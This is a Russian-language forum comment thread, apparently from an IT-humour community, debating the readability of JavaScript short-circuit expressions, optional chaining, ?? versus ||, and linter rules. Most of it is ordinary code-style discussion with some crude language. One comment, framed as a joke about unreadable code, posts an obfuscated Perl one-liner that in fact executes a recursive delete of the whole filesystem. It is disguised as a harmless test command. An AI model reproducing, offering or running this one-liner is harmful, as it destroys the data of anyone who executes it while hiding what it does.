Wake up, Neo!
Нашёл в просторах многолетнего рабочего проекта 😂
Кроме переменной с названием "юзатьРежимГовнокода" не вижу никакой особой проблемы в представленном куске кода.
Ну кроме того, что автор — мудак и не умеет писать нормальные комментарии и коды ошибок.
раскрыть ветку (35)
раскрыть ветку (2)
Ого? У них в этой конторе что гнездо? )
Вообще за подобные комментарии или коды ошибок в приличной конторе могут и штрафануть
раскрыть ветку (1)
Я бы написал что-то вроде такого, но я не настоящий жабаскриптолог
let city = this.cities && this.cities.find(city => city.id === this.user.city_id) // предполагаем, что user не null | undefined
this.filteredCity = city && city.name || this.filteredCity
let city = this.cities && this.cities.find(city => city.id === this.user.city_id) // предполагаем, что user не null | undefined
this.filteredCity = city && city.name || this.filteredCity
раскрыть ветку (31)
Код выше — отличный пример "зацените как я могу".
Вообще запись a = b && c || a - горе от ума которым часто страдают мидлы на дороге к сеньорам. Потом они понимают, что гораздо важнее чтобы код был читаемым, а не вот это вот всё
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{\\>%<-{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
раскрыть ветку (15)
раскрыть ветку (13)
Именно из-за этого многие программы - write-only. Потому что читать это потом невыносимо никому, даже самим авторам этого кода через пару лет.
Гораздо лучше для суппорта бить на функции и использовать обычный if-else. А подобные конструкции использовать только очень точечно, скажем в closures или в строке return.
раскрыть ветку (9)
А, еще это типично при задании опций, типа, const windowSize = config.WS || constants.WS || 200;
раскрыть ветку (7)
Я говорил конкретно про конструкцию a = b && c, и особенно a = b && c || a
Она плохая потому что при чтении ты читаешь слева направо, и интуитивно думаешь, что значение а будет сменено, а потом оказывается что нет. Условие смешано со значением. Ментально ты споткнёшься, задумаешься и всё равно в голове выстроишь if-else. При записи if (b) a = c замешательства не возникает. А вторая форма где в конце "... || a" – ещё хуже.
У вас же конструкция a = b || c || d, с ней подобных проблем не вызывает. Значение а будет сменено.
раскрыть ветку (6)
А еще, я недавно видел в какой-то библиотеке конструкции типа:
const a = b || throw 'b is null'
Вот тут совсем неожиданно может получиться :)
раскрыть ветку (4)
раскрыть ветку (3)
Я гоню, в javascript так нельзя. Это в c# такое видел. В javascript это, как я понял, в стадии proposal.
раскрыть ветку (2)
раскрыть ветку (1)
Я про это, хз, может где-то уже и работает:
https://github.com/tc39/proposal-throw-expressions
https://github.com/microsoft/TypeScript/issues/18535
function save(filename = throw new TypeError("Argument required")) {
}
https://github.com/tc39/proposal-throw-expressions
https://github.com/microsoft/TypeScript/issues/18535
function save(filename = throw new TypeError("Argument required")) {
}
Конкретно тут соглашусь, это костыль. Еще и лишнее присвоение. Я рассчитывал после или присвоить дефлотное значение, но я ж не знаю, какое оно у автора кода. Вообще, мой изначальный посыл был в том, что оригинальный текст можно переписать точно так же двумя строчками, не используя try-catch.
eslint используют 5.7млн репозиториев на гитхабе, там есть правило, которое запрещает такие записи)
https://eslint.org/docs/rules/no-mixed-operators
раскрыть ветку (2)
Согласен, скобки лучше добавлять, хотя, в данном конкретном случае я бы и не стал.
(city && city.name) || DEFAULT_CITY_NAME
или
city ? city.name : DEFAULT_CITY_NAME
раскрыть ветку (1)
Сейчас насколько помню достаточно писать
const cityName = city?.name || DEFAULT_NAME;
В любом случае ИМХО нужно просто на любом проекте, где больше 1 разработчика, подключать линтер, чтобы уменьшить вероятность возникновения недопонимания.
Будь это мой кейс, написал бы:
this.filteredCity = this.cities.find(({ id }) => this.user.city_id === id)?.name || 'Unknown'
Но нет
раскрыть ветку (8)
Вот, например:
bool IsConferenceDay(DateTime? date) => date is { Year: 2020, Month: 5, Day: 19 or 20 or 21 };
При этом, если date null, оно не упадет
?? вместо ||
?? работает в том типе в котором определена переменная, || тип может поменять.
а вообще по моему скромному мнению, то если это filteredCity, то это как бы подразумевает объект, ибо если мы забираем название, то тогда уже filteredCityName правильнее. Ну, это уже если чисто доколпуаться до нэйминга
раскрыть ветку (2)
Нуль-колизный оператор ("??") не вернёт дефолтное значение в том случае, если переменная существует, но пуста. А вот если значение "null", тогда вернёт дефолтное.
Оператор "OR" ("||") решает эту проблему в данном случае.
раскрыть ветку (1)
не буду спорить с тобой, делай как знаешь. Но в string пустая строка '' не является дефолтным - это значение. Дефолт для стринга это undefined. И далее, кто сказал, что в коде строки не должны быть пустые? И вот тут ты можешь накосячить тем, что || изменит пустые данные, а где-то по коду они и должны быть пустые
Вот за такой код, я своих кодеров пизжу ссаными тряпками. Такие выебоны в коде сводят читаемость оного к нулю. И поддерживать это - пиздец как тяжело, в том числе и самим разрабам.
раскрыть ветку (1)
нормальная читаемость. Особенно в скрипте. А если бы по коду был не промис, а обзервер и filteredCity получался мапом через пайп? Так было бы правильнее, но без опыта читать было бы труднее.
раскрыть ветку (3)
Есть один знакомый, который из проектов вырезает lodash "патамуштапиздецтяжёлыйигрузитпроект".
А потом изобретает велосипед, внедряя свои костыли, функционал которых есть в lodash в значительно лучшем виде.
раскрыть ветку (2)
раскрыть ветку (1)
Да я ебу? Это ж не настоящая программа, я прямо с телефона в комментарии вбил этот код, чтоб показать что надо сделать две проверки, а не использовать для проверки наличия страны try catch.
На самом деле, скорее всего, там достаточно одной проверки: на то, что find вернул значение. Проверять на наличие инициализированных полей города и пользователь, скорее всего не надо. Но, это виднее тому, кто писал оригинальный код.
В любом случае, вместо 1-3 проверок на валидность входящих данных, автор кода обернул все в try catch, который будет писать в консоль что-то типа: can't access property 'name' of undefined.
На самом деле, скорее всего, там достаточно одной проверки: на то, что find вернул значение. Проверять на наличие инициализированных полей города и пользователь, скорее всего не надо. Но, это виднее тому, кто писал оригинальный код.
В любом случае, вместо 1-3 проверок на валидность входящих данных, автор кода обернул все в try catch, который будет писать в консоль что-то типа: can't access property 'name' of undefined.
IT-юмор
5.7K поста52.5K подписчиков
Правила сообщества
Не публикуем посты:
1) с большим количеством мата
2) с просьбами о помощи
3) не относящиеся к IT-юмору